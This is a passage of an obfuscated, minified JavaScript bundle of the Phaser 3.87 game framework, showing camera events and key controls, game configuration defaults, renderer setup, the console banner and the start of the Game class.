'camerapanstart'; }, 0xd493: _0x2c68ed => { _0x2c68ed['exports'] = 'postrender'; }, 0x135e2: _0x2f04b8 => { _0x2f04b8['exports'] = 'prerender'; }, 0x16bff: _0x11016c => { _0x11016c['exports'] = 'camerarotatecomplete'; }, 0x138f0: _0x3384ef => { _0x3384ef['exports'] = 'camerarotatestart'; }, 0xf32c: _0x259e18 => { _0x259e18['exports'] = 'camerashakecomplete'; }, 0x15001: _0x4155cf => { _0x4155cf['exports'] = 'camerashakestart'; }, 0x21b: _0x226426 => { _0x226426['exports'] = 'camerazoomcomplete'; }, 0xcab4: _0x1e7e98 => { _0x1e7e98['exports'] = 'camerazoomstart'; }, 0x4d03: (_0x180df4, _0x13bd1b, _0x3f890d) => { _0x180df4['exports'] = { 'DESTROY': _0x3f890d(0x4036), 'FADE_IN_COMPLETE': _0x3f890d(0x7fd6), 'FADE_IN_START': _0x3f890d(0x156ff), 'FADE_OUT_COMPLETE': _0x3f890d(0xb35d), 'FADE_OUT_START': _0x3f890d(0x175b2), 'FLASH_COMPLETE': _0x3f890d(0xb7d0), 'FLASH_START': _0x3f890d(0x1647d), 'FOLLOW_UPDATE': _0x3f890d(0xaff7), 'PAN_COMPLETE': _0x3f890d(0x14007), 'PAN_START': _0x3f890d(0x12218), 'POST_RENDER': _0x3f890d(0xd493), 'PRE_RENDER': _0x3f890d(0x135e2), 'ROTATE_COMPLETE': _0x3f890d(0x16bff), 'ROTATE_START': _0x3f890d(0x138f0), 'SHAKE_COMPLETE': _0x3f890d(0xf32c), 'SHAKE_START': _0x3f890d(0x15001), 'ZOOM_COMPLETE': _0x3f890d(0x21b), 'ZOOM_START': _0x3f890d(0xcab4) }; }, 0x157a1: (_0x3f6b94, _0x2df4b7, _0x2c65d5) => { _0x3f6b94['exports'] = { 'Camera': _0x2c65d5(0x94aa), 'BaseCamera': _0x2c65d5(0x118e7), 'CameraManager': _0x2c65d5(0x7fe7), 'Effects': _0x2c65d5(0x4e54), 'Events': _0x2c65d5(0x4d03) }; }, 0xf673: (_0x48edc5, _0x39f2c5, _0x1e236b) => { var _0x1f2719 = _0x1e236b(0x145db), _0x2a37ae = _0x1e236b(0x8952), _0x3e3309 = new _0x1f2719({ 'initialize': function (_0xe54744) { this['camera'] = _0x2a37ae(_0xe54744, 'camera', null), this['left'] = _0x2a37ae(_0xe54744, 'left', null), this['right'] = _0x2a37ae(_0xe54744, 'right', null), this['up'] = _0x2a37ae(_0xe54744, 'up', null), this['down'] = _0x2a37ae(_0xe54744, 'down', null), this['zoomIn'] = _0x2a37ae(_0xe54744, 'zoomIn', null), this['zoomOut'] = _0x2a37ae(_0xe54744, 'zoomOut', null), this['zoomSpeed'] = _0x2a37ae(_0xe54744, 'zoomSpeed', 0.01), this['minZoom'] = _0x2a37ae(_0xe54744, 'minZoom', 0.001), this['maxZoom'] = _0x2a37ae(_0xe54744, 'maxZoom', 0x3e8), this['speedX'] = 0x0, this['speedY'] = 0x0; var _0x1bc91a = _0x2a37ae(_0xe54744, 'speed', null); 'number' == typeof _0x1bc91a ? (this['speedX'] = _0x1bc91a, this['speedY'] = _0x1bc91a) : (this['speedX'] = _0x2a37ae(_0xe54744, 'speed.x', 0x0), this['speedY'] = _0x2a37ae(_0xe54744, 'speed.y', 0x0)), this['_zoom'] = 0x0, this['active'] = null !== this['camera']; }, 'start': function () { return this['active'] = null !== this['camera'], this; }, 'stop': function () { return this['active'] = !0x1, this; }, 'setCamera': function (_0x41fe80) { return this['camera'] = _0x41fe80, this; }, 'update': function (_0x1b5e90) { if (this['active']) { void 0x0 === _0x1b5e90 && (_0x1b5e90 = 0x1); var _0x3994b5 = this['camera']; this['up'] && this['up']['isDown'] ? _0x3994b5['scrollY'] -= this['speedY'] * _0x1b5e90 | 0x0 : this['down'] && this['down']['isDown'] && (_0x3994b5['scrollY'] += this['speedY'] * _0x1b5e90 | 0x0), this['left'] && this['left']['isDown'] ? _0x3994b5['scrollX'] -= this['speedX'] * _0x1b5e90 | 0x0 : this['right'] && this['right']['isDown'] && (_0x3994b5['scrollX'] += this['speedX'] * _0x1b5e90 | 0x0), this['zoomIn'] && this['zoomIn']['isDown'] ? (_0x3994b5['zoom'] -= this['zoomSpeed'], _0x3994b5['zoom'] < this['minZoom'] && (_0x3994b5['zoom'] = this['minZoom'])) : this['zoomOut'] && this['zoomOut']['isDown'] && (_0x3994b5['zoom'] += this['zoomSpeed'], _0x3994b5['zoom'] > this['maxZoom'] && (_0x3994b5['zoom'] = this['maxZoom'])); } }, 'destroy': function () { this['camera'] = null, this['left'] = null, this['right'] = null, this['up'] = null, this['down'] = null, this['zoomIn'] = null, this['zoomOut'] = null; } }); _0x48edc5['exports'] = _0x3e3309; }, 0xe5c2: (_0x14764c, _0x48b228, _0x3a30fe) => { var _0xe3c28c = _0x3a30fe(0x145db), _0x444a2c = _0x3a30fe(0x8952), _0x2ff18a = new _0xe3c28c({ 'initialize': function (_0xed7463) { this['camera'] = _0x444a2c(_0xed7463, 'camera', null), this['left'] = _0x444a2c(_0xed7463, 'left', null), this['right'] = _0x444a2c(_0xed7463, 'right', null), this['up'] = _0x444a2c(_0xed7463, 'up', null), this['down'] = _0x444a2c(_0xed7463, 'down', null), this['zoomIn'] = _0x444a2c(_0xed7463, 'zoomIn', null), this['zoomOut'] = _0x444a2c(_0xed7463, 'zoomOut', null), this['zoomSpeed'] = _0x444a2c(_0xed7463, 'zoomSpeed', 0.01), this['minZoom'] = _0x444a2c(_0xed7463, 'minZoom', 0.001), this['maxZoom'] = _0x444a2c(_0xed7463, 'maxZoom', 0x3e8), this['accelX'] = 0x0, this['accelY'] = 0x0; var _0x1700c5 = _0x444a2c(_0xed7463, 'acceleration', null); 'number' == typeof _0x1700c5 ? (this['accelX'] = _0x1700c5, this['accelY'] = _0x1700c5) : (this['accelX'] = _0x444a2c(_0xed7463, 'acceleration.x', 0x0), this['accelY'] = _0x444a2c(_0xed7463, 'acceleration.y', 0x0)), this['dragX'] = 0x0, this['dragY'] = 0x0; var _0x1fadf6 = _0x444a2c(_0xed7463, 'drag', null); 'number' == typeof _0x1fadf6 ? (this['dragX'] = _0x1fadf6, this['dragY'] = _0x1fadf6) : (this['dragX'] = _0x444a2c(_0xed7463, 'drag.x', 0x0), this['dragY'] = _0x444a2c(_0xed7463, 'drag.y', 0x0)), this['maxSpeedX'] = 0x0, this['maxSpeedY'] = 0x0; var _0x4e81cb = _0x444a2c(_0xed7463, 'maxSpeed', null); 'number' == typeof _0x4e81cb ? (this['maxSpeedX'] = _0x4e81cb, this['maxSpeedY'] = _0x4e81cb) : (this['maxSpeedX'] = _0x444a2c(_0xed7463, 'maxSpeed.x', 0x0), this['maxSpeedY'] = _0x444a2c(_0xed7463, 'maxSpeed.y', 0x0)), this['_speedX'] = 0x0, this['_speedY'] = 0x0, this['_zoom'] = 0x0, this['active'] = null !== this['camera']; }, 'start': function () { return this['active'] = null !== this['camera'], this; }, 'stop': function () { return this['active'] = !0x1, this; }, 'setCamera': function (_0x55c0cc) { return this['camera'] = _0x55c0cc, this; }, 'update': function (_0x159298) { if (this['active']) { void 0x0 === _0x159298 && (_0x159298 = 0x1); var _0xe55ac4 = this['camera']; this['_speedX'] > 0x0 ? (this['_speedX'] -= this['dragX'] * _0x159298, this['_speedX'] < 0x0 && (this['_speedX'] = 0x0)) : this['_speedX'] < 0x0 && (this['_speedX'] += this['dragX'] * _0x159298, this['_speedX'] > 0x0 && (this['_speedX'] = 0x0)), this['_speedY'] > 0x0 ? (this['_speedY'] -= this['dragY'] * _0x159298, this['_speedY'] < 0x0 && (this['_speedY'] = 0x0)) : this['_speedY'] < 0x0 && (this['_speedY'] += this['dragY'] * _0x159298, this['_speedY'] > 0x0 && (this['_speedY'] = 0x0)), this['up'] && this['up']['isDown'] ? (this['_speedY'] += this['accelY'], this['_speedY'] > this['maxSpeedY'] && (this['_speedY'] = this['maxSpeedY'])) : this['down'] && this['down']['isDown'] && (this['_speedY'] -= this['accelY'], this['_speedY'] < -this['maxSpeedY'] && (this['_speedY'] = -this['maxSpeedY'])), this['left'] && this['left']['isDown'] ? (this['_speedX'] += this['accelX'], this['_speedX'] > this['maxSpeedX'] && (this['_speedX'] = this['maxSpeedX'])) : this['right'] && this['right']['isDown'] && (this['_speedX'] -= this['accelX'], this['_speedX'] < -this['maxSpeedX'] && (this['_speedX'] = -this['maxSpeedX'])), this['zoomIn'] && this['zoomIn']['isDown'] ? this['_zoom'] = -this['zoomSpeed'] : this['zoomOut'] && this['zoomOut']['isDown'] ? this['_zoom'] = this['zoomSpeed'] : this['_zoom'] = 0x0, 0x0 !== this['_speedX'] && (_0xe55ac4['scrollX'] -= this['_speedX'] * _0x159298 | 0x0), 0x0 !== this['_speedY'] && (_0xe55ac4['scrollY'] -= this['_speedY'] * _0x159298 | 0x0), 0x0 !== this['_zoom'] && (_0xe55ac4['zoom'] += this['_zoom'], _0xe55ac4['zoom'] < this['minZoom'] ? _0xe55ac4['zoom'] = this['minZoom'] : _0xe55ac4['zoom'] > this['maxZoom'] && (_0xe55ac4['zoom'] = this['maxZoom'])); } }, 'destroy': function () { this['camera'] = null, this['left'] = null, this['right'] = null, this['up'] = null, this['down'] = null, this['zoomIn'] = null, this['zoomOut'] = null; } }); _0x14764c['exports'] = _0x2ff18a; }, 0x97d1: (_0x118b06, _0x4b5081, _0x51791e) => { _0x118b06['exports'] = { 'FixedKeyControl': _0x51791e(0xf673), 'SmoothedKeyControl': _0x51791e(0xe5c2) }; }, 0x680e: (_0x47e730, _0xb03b17, _0x40bf68) => { _0x47e730['exports'] = { 'Controls': _0x40bf68(0x97d1), 'Scene2D': _0x40bf68(0x157a1) }; }, 0x1f76: (_0x34e288, _0x34b435, _0x543b01) => { var _0x274495 = { 'VERSION': '3.87', 'LOG_VERSION': 'v387', 'BlendModes': _0x543b01(0x2848), 'ScaleModes': _0x543b01(0x7463), 'AUTO': 0x0, 'CANVAS': 0x1, 'WEBGL': 0x2, 'HEADLESS': 0x3, 'FOREVER': -0x1, 'NONE': 0x4, 'UP': 0x5, 'DOWN': 0x6, 'LEFT': 0x7, 'RIGHT': 0x8 }; _0x34e288['exports'] = _0x274495; }, 0x10fab: (_0x2ed83d, _0x478811, _0x56a6ac) => { var _0x490a34 = _0x56a6ac(0x145db), _0x43b712 = _0x56a6ac(0x1f76), _0x2024ed = _0x56a6ac(0xa57b), _0x3bd541 = _0x56a6ac(0x14158), _0x2152fe = _0x56a6ac(0x17534), _0x3ce85f = _0x56a6ac(0x8952), _0x5dd5a2 = _0x56a6ac(0xa0fc), _0x1f713f = _0x56a6ac(0x7433), _0x10f284 = _0x56a6ac(0x126f4), _0x2efbb3 = _0x56a6ac(0x8cdc), _0x682c5 = _0x56a6ac(0x139cd), _0xe3f1ab = new _0x490a34({ 'initialize': function (_0x51e823) { void 0x0 === _0x51e823 && (_0x51e823 = {}); var _0x1c0995 = _0x3ce85f(_0x51e823, 'scale', null); this['width'] = _0x3ce85f(_0x1c0995, 'width', 0x400, _0x51e823), this['height'] = _0x3ce85f(_0x1c0995, 'height', 0x300, _0x51e823), this['zoom'] = _0x3ce85f(_0x1c0995, 'zoom', 0x1, _0x51e823), this['parent'] = _0x3ce85f(_0x1c0995, 'parent', void 0x0, _0x51e823), this['scaleMode'] = _0x3ce85f(_0x1c0995, _0x1c0995 ? 'mode' : 'scaleMode', 0x0, _0x51e823), this['expandParent'] = _0x3ce85f(_0x1c0995, 'expandParent', !0x0, _0x51e823), this['autoRound'] = _0x3ce85f(_0x1c0995, 'autoRound', !0x1, _0x51e823), this['autoCenter'] = _0x3ce85f(_0x1c0995, 'autoCenter', 0x0, _0x51e823), this['resizeInterval'] = _0x3ce85f(_0x1c0995, 'resizeInterval', 0x1f4, _0x51e823), this['fullscreenTarget'] = _0x3ce85f(_0x1c0995, 'fullscreenTarget', null, _0x51e823), this['minWidth'] = _0x3ce85f(_0x1c0995, 'min.width', 0x0, _0x51e823), this['maxWidth'] = _0x3ce85f(_0x1c0995, 'max.width', 0x0, _0x51e823), this['minHeight'] = _0x3ce85f(_0x1c0995, 'min.height', 0x0, _0x51e823), this['maxHeight'] = _0x3ce85f(_0x1c0995, 'max.height', 0x0, _0x51e823), this['snapWidth'] = _0x3ce85f(_0x1c0995, 'snap.width', 0x0, _0x51e823), this['snapHeight'] = _0x3ce85f(_0x1c0995, 'snap.height', 0x0, _0x51e823), this['renderType'] = _0x3ce85f(_0x51e823, 'type', _0x43b712['AUTO']), this['canvas'] = _0x3ce85f(_0x51e823, 'canvas', null), this['context'] = _0x3ce85f(_0x51e823, 'context', null), this['canvasStyle'] = _0x3ce85f(_0x51e823, 'canvasStyle', null), this['customEnvironment'] = _0x3ce85f(_0x51e823, 'customEnvironment', !0x1), this['sceneConfig'] = _0x3ce85f(_0x51e823, 'scene', null), this['seed'] = _0x3ce85f(_0x51e823, 'seed', [(Date['now']() * Math['random']())['toString']()]), _0x10f284['RND'] = new _0x10f284['RandomDataGenerator'](this['seed']), this['gameTitle'] = _0x3ce85f(_0x51e823, 'title', ''), this['gameURL'] = _0x3ce85f(_0x51e823, 'url', 'https://phaser.io/' + _0x43b712['LOG_VERSION']), this['gameVersion'] = _0x3ce85f(_0x51e823, 'version', ''), this['autoFocus'] = _0x3ce85f(_0x51e823, 'autoFocus', !0x0), this['stableSort'] = _0x3ce85f(_0x51e823, 'stableSort', -0x1), -0x1 === this['stableSort'] && (this['stableSort'] = _0x3bd541['browser']['es2019'] ? 0x1 : 0x0), _0x3bd541['features']['stableSort'] = this['stableSort'], this['domCreateContainer'] = _0x3ce85f(_0x51e823, 'dom.createContainer', !0x1), this['domPointerEvents'] = _0x3ce85f(_0x51e823, 'dom.pointerEvents', 'none'), this['inputKeyboard'] = _0x3ce85f(_0x51e823, 'input.keyboard', !0x0), this['inputKeyboardEventTarget'] = _0x3ce85f(_0x51e823, 'input.keyboard.target', window), this['inputKeyboardCapture'] = _0x3ce85f(_0x51e823, 'input.keyboard.capture', []), this['inputMouse'] = _0x3ce85f(_0x51e823, 'input.mouse', !0x0), this['inputMouseEventTarget'] = _0x3ce85f(_0x51e823, 'input.mouse.target', null), this['inputMousePreventDefaultDown'] = _0x3ce85f(_0x51e823, 'input.mouse.preventDefaultDown', !0x0), this['inputMousePreventDefaultUp'] = _0x3ce85f(_0x51e823, 'input.mouse.preventDefaultUp', !0x0), this['inputMousePreventDefaultMove'] = _0x3ce85f(_0x51e823, 'input.mouse.preventDefaultMove', !0x0), this['inputMousePreventDefaultWheel'] = _0x3ce85f(_0x51e823, 'input.mouse.preventDefaultWheel', !0x0), this['inputTouch'] = _0x3ce85f(_0x51e823, 'input.touch', _0x3bd541['input']['touch']), this['inputTouchEventTarget'] = _0x3ce85f(_0x51e823, 'input.touch.target', null), this['inputTouchCapture'] = _0x3ce85f(_0x51e823, 'input.touch.capture', !0x0), this['inputActivePointers'] = _0x3ce85f(_0x51e823, 'input.activePointers', 0x1), this['inputSmoothFactor'] = _0x3ce85f(_0x51e823, 'input.smoothFactor', 0x0), this['inputWindowEvents'] = _0x3ce85f(_0x51e823, 'input.windowEvents', !0x0), this['inputGamepad'] = _0x3ce85f(_0x51e823, 'input.gamepad', !0x1), this['inputGamepadEventTarget'] = _0x3ce85f(_0x51e823, 'input.gamepad.target', window), this['disableContextMenu'] = _0x3ce85f(_0x51e823, 'disableContextMenu', !0x1), this['audio'] = _0x3ce85f(_0x51e823, 'audio', {}), this['hideBanner'] = !0x1 === _0x3ce85f(_0x51e823, 'banner', null), this['hidePhaser'] = _0x3ce85f(_0x51e823, 'banner.hidePhaser', !0x1), this['bannerTextColor'] = _0x3ce85f(_0x51e823, 'banner.text', '#ffffff'), this['bannerBackgroundColor'] = _0x3ce85f(_0x51e823, 'banner.background', ['#ff0000', '#ffff00', '#00ff00', '#00ffff', '#000000']), '' === this['gameTitle'] && this['hidePhaser'] && (this['hideBanner'] = !0x0), this['fps'] = _0x3ce85f(_0x51e823, 'fps', null), this['disablePreFX'] = _0x3ce85f(_0x51e823, 'disablePreFX', !0x1), this['disablePostFX'] = _0x3ce85f(_0x51e823, 'disablePostFX', !0x1); var _0x474187 = _0x3ce85f(_0x51e823, 'render', null); this['pipeline'] = _0x3ce85f(_0x474187, 'pipeline', null, _0x51e823), this['autoMobilePipeline'] = _0x3ce85f(_0x474187, 'autoMobilePipeline', !0x0, _0x51e823), this['defaultPipeline'] = _0x3ce85f(_0x474187, 'defaultPipeline', _0x2efbb3['MULTI_PIPELINE'], _0x51e823), this['antialias'] = _0x3ce85f(_0x474187, 'antialias', !0x0, _0x51e823), this['antialiasGL'] = _0x3ce85f(_0x474187, 'antialiasGL', !0x0, _0x51e823), this['mipmapFilter'] = _0x3ce85f(_0x474187, 'mipmapFilter', '', _0x51e823), this['desynchronized'] = _0x3ce85f(_0x474187, 'desynchronized', !0x1, _0x51e823), this['roundPixels'] = _0x3ce85f(_0x474187, 'roundPixels', !0x1, _0x51e823), this['pixelArt'] = _0x3ce85f(_0x474187, 'pixelArt', 0x1 !== this['zoom'], _0x51e823), this['pixelArt'] && (this['antialias'] = !0x1, this['antialiasGL'] = !0x1, this['roundPixels'] = !0x0), this['transparent'] = _0x3ce85f(_0x474187, 'transparent', !0x1, _0x51e823), this['clearBeforeRender'] = _0x3ce85f(_0x474187, 'clearBeforeRender', !0x0, _0x51e823), this['preserveDrawingBuffer'] = _0x3ce85f(_0x474187, 'preserveDrawingBuffer', !0x1, _0x51e823), this['premultipliedAlpha'] = _0x3ce85f(_0x474187, 'premultipliedAlpha', !0x0, _0x51e823), this['failIfMajorPerformanceCaveat'] = _0x3ce85f(_0x474187, 'failIfMajorPerformanceCaveat', !0x1, _0x51e823), this['powerPreference'] = _0x3ce85f(_0x474187, 'powerPreference', 'default', _0x51e823), this['batchSize'] = _0x3ce85f(_0x474187, 'batchSize', 0x1000, _0x51e823), this['maxTextures'] = _0x3ce85f(_0x474187, 'maxTextures', -0x1, _0x51e823), this['maxLights'] = _0x3ce85f(_0x474187, 'maxLights', 0xa, _0x51e823); var _0xc6160e = _0x3ce85f(_0x51e823, 'backgroundColor', 0x0); this['backgroundColor'] = _0x682c5(_0xc6160e), this['transparent'] && (this['backgroundColor'] = _0x682c5(0x0), this['backgroundColor']['alpha'] = 0x0), this['preBoot'] = _0x3ce85f(_0x51e823, 'callbacks.preBoot', _0x1f713f), this['postBoot'] = _0x3ce85f(_0x51e823, 'callbacks.postBoot', _0x1f713f), this['physics'] = _0x3ce85f(_0x51e823, 'physics', {}), this['defaultPhysicsSystem'] = _0x3ce85f(this['physics'], 'default', !0x1), this['loaderBaseURL'] = _0x3ce85f(_0x51e823, 'loader.baseURL', ''), this['loaderPath'] = _0x3ce85f(_0x51e823, 'loader.path', ''), this['loaderMaxParallelDownloads'] = _0x3ce85f(_0x51e823, 'loader.maxParallelDownloads', _0x3bd541['os']['android'] ? 0x6 : 0x20), this['loaderCrossOrigin'] = _0x3ce85f(_0x51e823, 'loader.crossOrigin', void 0x0), this['loaderResponseType'] = _0x3ce85f(_0x51e823, 'loader.responseType', ''), this['loaderAsync'] = _0x3ce85f(_0x51e823, 'loader.async', !0x0), this['loaderUser'] = _0x3ce85f(_0x51e823, 'loader.user', ''), this['loaderPassword'] = _0x3ce85f(_0x51e823, 'loader.password', ''), this['loaderTimeout'] = _0x3ce85f(_0x51e823, 'loader.timeout', 0x0), this['loaderMaxRetries'] = _0x3ce85f(_0x51e823, 'loader.maxRetries', 0x2), this['loaderWithCredentials'] = _0x3ce85f(_0x51e823, 'loader.withCredentials', !0x1), this['loaderImageLoadType'] = _0x3ce85f(_0x51e823, 'loader.imageLoadType', 'XHR'), this['loaderLocalScheme'] = _0x3ce85f(_0x51e823, 'loader.localScheme', ['file://', 'capacitor://']), this['glowFXQuality'] = _0x3ce85f(_0x51e823, 'fx.glow.quality', 0.1), this['glowFXDistance'] = _0x3ce85f(_0x51e823, 'fx.glow.distance', 0xa), this['installGlobalPlugins'] = [], this['installScenePlugins'] = []; var _0x27d519 = _0x3ce85f(_0x51e823, 'plugins', null), _0x23995a = _0x2024ed['DefaultScene']; _0x27d519 && (Array['isArray'](_0x27d519) ? this['defaultPlugins'] = _0x27d519 : _0x5dd5a2(_0x27d519) && (this['installGlobalPlugins'] = _0x2152fe(_0x27d519, 'global', []), this['installScenePlugins'] = _0x2152fe(_0x27d519, 'scene', []), Array['isArray'](_0x27d519['default']) ? _0x23995a = _0x27d519['default'] : Array['isArray'](_0x27d519['defaultMerge']) && (_0x23995a = _0x23995a['concat'](_0x27d519['defaultMerge'])))), this['defaultPlugins'] = _0x23995a; var _0x2721a0 = 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAg'; this['defaultImage'] = _0x3ce85f(_0x51e823, 'images.default', _0x2721a0 + 'AQMAAABJtOi3AAAAA1BMVEX///+nxBvIAAAAAXRSTlMAQObYZgAAABVJREFUeF7NwIEAAAAAgKD9qdeocAMAoAABm3DkcAAAAABJRU5ErkJggg=='), this['missingImage'] = _0x3ce85f(_0x51e823, 'images.missing', _0x2721a0 + 'CAIAAAD8GO2jAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAJ9JREFUeNq01ssOwyAMRFG46v//Mt1ESmgh+DFmE2GPOBARKb2NVjo+17PXLD8a1+pl5+A+wSgFygymWYHBb0FtsKhJDdZlncG2IzJ4ayoMDv20wTmSMzClEgbWYNTAkQ0Z+OJ+A/eWnAaR9+oxCF4Os0H8htsMUp+pwcgBBiMNnAwF8GqIgL2hAzaGFFgZauDPKABmowZ4GL369/0rwACp2yA/ttmvsQAAAABJRU5ErkJggg=='), this['whiteImage'] = _0x3ce85f(_0x51e823, 'images.white', 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAQAAAAECAIAAAAmkwkpAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAABdJREFUeNpi/P//PwMMMDEgAdwcgAADAJZuAwXJYZOzAAAAAElFTkSuQmCC'), window && (window['FORCE_WEBGL'] ? this['renderType'] = _0x43b712['WEBGL'] : window['FORCE_CANVAS'] && (this['renderType'] = _0x43b712['CANVAS'])); } }); _0x2ed83d['exports'] = _0xe3f1ab; }, 0x15026: (_0x5dc124, _0x2ae371, _0x1762d8) => { var _0x35516a = _0x1762d8(0x508f), _0x2e50fd = _0x1762d8(0x6d0f), _0x35e073 = _0x1762d8(0x1f76), _0x33a7b7 = _0x1762d8(0x15d0d); _0x5dc124['exports'] = function (_0x1c2ff4) { var _0x3e5a87 = _0x1c2ff4['config']; if ((_0x3e5a87['customEnvironment'] || _0x3e5a87['canvas']) && _0x3e5a87['renderType'] === _0x35e073['AUTO']) throw new Error('Must\x20set\x20explicit\x20renderType\x20in\x20custom\x20environment'); if (!_0x3e5a87['customEnvironment'] && !_0x3e5a87['canvas'] && _0x3e5a87['renderType'] !== _0x35e073['HEADLESS']) { if (_0x3e5a87['renderType'] === _0x35e073['AUTO'] && (_0x3e5a87['renderType'] = _0x33a7b7['webGL'] ? _0x35e073['WEBGL'] : _0x35e073['CANVAS']), _0x3e5a87['renderType'] === _0x35e073['WEBGL']) { if (!_0x33a7b7['webGL']) throw new Error('Cannot\x20create\x20WebGL\x20context,\x20aborting.'); } else { if (_0x3e5a87['renderType'] !== _0x35e073['CANVAS']) throw new Error('Unknown\x20value\x20for\x20renderer\x20type:\x20' + _0x3e5a87['renderType']); if (!_0x33a7b7['canvas']) throw new Error('Cannot\x20create\x20Canvas\x20context,\x20aborting.'); } } _0x3e5a87['antialias'] || _0x2e50fd['disableSmoothing'](); var _0x2c0dad, _0x4fde40, _0x54c5e = _0x1c2ff4['scale']['baseSize'], _0x567710 = _0x54c5e['width'], _0x368a91 = _0x54c5e['height']; _0x3e5a87['canvas'] ? (_0x1c2ff4['canvas'] = _0x3e5a87['canvas'], _0x1c2ff4['canvas']['width'] = _0x567710, _0x1c2ff4['canvas']['height'] = _0x368a91) : _0x1c2ff4['canvas'] = _0x2e50fd['create'](_0x1c2ff4, _0x567710, _0x368a91, _0x3e5a87['renderType']), _0x3e5a87['canvasStyle'] && (_0x1c2ff4['canvas']['style'] = _0x3e5a87['canvasStyle']), _0x3e5a87['antialias'] || _0x35516a['setCrisp'](_0x1c2ff4['canvas']), _0x3e5a87['renderType'] !== _0x35e073['HEADLESS'] && (_0x2c0dad = _0x1762d8(0x10c13), _0x4fde40 = _0x1762d8(0x1242d), _0x3e5a87['renderType'] === _0x35e073['WEBGL'] ? _0x1c2ff4['renderer'] = new _0x4fde40(_0x1c2ff4) : (_0x1c2ff4['renderer'] = new _0x2c0dad(_0x1c2ff4), _0x1c2ff4['context'] = _0x1c2ff4['renderer']['gameContext'])); }; }, 0x17887: (_0xae8dea, _0x1e4142, _0x29fd4e) => { var _0x12e645 = _0x29fd4e(0x1f76); _0xae8dea['exports'] = function (_0x4e19e5) { var _0x40c770 = _0x4e19e5['config']; if (!_0x40c770['hideBanner']) { var _0x20e26f = 'WebGL'; _0x40c770['renderType'] === _0x12e645['CANVAS'] ? _0x20e26f = 'Canvas' : _0x40c770['renderType'] === _0x12e645['HEADLESS'] && (_0x20e26f = 'Headless'); var _0x16ef1a, _0x74f10f = _0x40c770['audio'], _0x268c9c = _0x4e19e5['device']['audio']; if (_0x16ef1a = _0x268c9c['webAudio'] && !_0x74f10f['disableWebAudio'] ? 'Web\x20Audio' : _0x74f10f['noAudio'] || !_0x268c9c['webAudio'] && !_0x268c9c['audioData'] ? 'No\x20Audio' : 'HTML5\x20Audio', _0x4e19e5['device']['browser']['ie']) window['console']; else { var _0x36b280, _0x4ee6e7 = '', _0x627f3b = [_0x4ee6e7]; Array['isArray'](_0x40c770['bannerBackgroundColor']) ? (_0x40c770['bannerBackgroundColor']['forEach'](function (_0xb5a1c3) { _0x4ee6e7 = _0x4ee6e7['concat']('%c\x20'), _0x627f3b['push']('background:\x20' + _0xb5a1c3), _0x36b280 = _0xb5a1c3; }), _0x627f3b[_0x627f3b['length'] - 0x1] = 'color:\x20' + _0x40c770['bannerTextColor'] + ';\x20background:\x20' + _0x36b280) : (_0x4ee6e7 = _0x4ee6e7['concat']('%c\x20'), _0x627f3b['push']('color:\x20' + _0x40c770['bannerTextColor'] + ';\x20background:\x20' + _0x40c770['bannerBackgroundColor'])), _0x627f3b['push']('background:\x20transparent'), _0x40c770['gameTitle'] && (_0x4ee6e7 = _0x4ee6e7['concat'](_0x40c770['gameTitle']), _0x40c770['gameVersion'] && (_0x4ee6e7 = _0x4ee6e7['concat']('\x20v' + _0x40c770['gameVersion'])), _0x40c770['hidePhaser'] || (_0x4ee6e7 = _0x4ee6e7['concat']('\x20/\x20'))), _0x40c770['hidePhaser'] || (_0x4ee6e7 = _0x4ee6e7['concat']('Phaser\x20v' + _0x12e645['VERSION'] + '\x20(' + _0x20e26f + '\x20|\x20' + _0x16ef1a + ')')), _0x4ee6e7 = _0x4ee6e7['concat']('\x20%c\x20' + _0x40c770['gameURL']), _0x627f3b[0x0] = _0x4ee6e7; } } }; }, 0xc3cf: (_0x3abdd2, _0x130d52, _0x42aac1) => { var _0x661855 = _0x42aac1(0x9dae), _0x5ed3a5 = _0x42aac1(0xedb0), _0x3605b0 = _0x42aac1(0x5def), _0x21aa80 = _0x42aac1(0x6d0f), _0x37e60c = _0x42aac1(0x145db), _0x242626 = _0x42aac1(0x10fab), _0x5cfc7e = _0x42aac1(0x14707), _0x226ee6 = _0x42aac1(0x15026), _0x1c3b2d = _0x42aac1(0xb345), _0x26f95b = _0x42aac1(0x17887), _0x38560a = _0x42aac1(0x14158), _0x5e5fb4 = _0x42aac1(0xdfb0), _0x1d02da = _0x42aac1(0xc668), _0x1786fa = _0x42aac1(0x20fb), _0x494c71 = _0x42aac1(0x1b5b), _0x2364ed = _0x42aac1(0x919d), _0x6d131b = _0x42aac1(0x12e14), _0xcccd16 = _0x42aac1(0x12af3), _0x2a8048 = _0x42aac1(0xede7), _0x4f6a90 = _0x42aac1(0x10f42), _0x3d3d7e = _0x42aac1(0x42ea), _0x13d9e6 = _0x42aac1(0x1016a), _0x5c9a15 = _0x42aac1(0xc78d), _0x1a562e = _0x42aac1(0x399b), _0x563434 = new _0x37e60c({ 'initialize': function (_0x1cabff) { this['config'] = new _0x242626(_0x1cabff), this['renderer'] = null, this['domContainer'] = null, this['canvas'] = null, this['context'] = null, this['isBooted'] = !0x1, this['isRunning'] = !0x1, this['events'] = new _0x1d02da(), this['anims'] = new _0x5ed3a5(this), this['textures'] = new _0x3d3d7e(this), this['cache'] = new _0x3605b0(this), this['registry'] = new _0x1c3b2d(this, new _0x1d02da()), this['input'] = new _0x494c71(this, this['config']), this['scene'] = new _0x2a8048(this, this['config']['sceneConfig']), this['device'] = _0x38560a, this['scale'] = new _0xcccd16(this, this['config']), this['sound'] = null, this['sound'] = _0x1a562e['create'](this), this['loop'] = new _0x13d9e6(this, this['config']['fps']), this['plugins'] = new _0x6d131b(this, this['config']), this['pendingDestroy'] = !0x1, this['removeCanvas'] = !0x1, this['noReturn'] = !0x1, this['hasFocus'] = !0x1, this['isPaused'] = !0x1, _0x5e5fb4(this['boot']['bind'](this)); }, 'boot': function () { _0x2364ed['hasCore']('EventEmitter') && (this['isBooted'] = !0x0, this['config']['preBoot'](this), this['scale']['preBoot'](), _0x226ee6(this), _0x5cfc7e(this), _0x26f95b(this), _0x661855(this['canvas'], this['config']['parent']), this['textures']['once'](_0x4f6a90['READY'], this['texturesReady'], this), this['events']['emit'](_0x1786fa['BOOT'])); }, 'texturesReady': function () { this['events']['emit'](_0x1786fa['READY']), this['start'](); }, 'start': function () { this['isRunning'] = 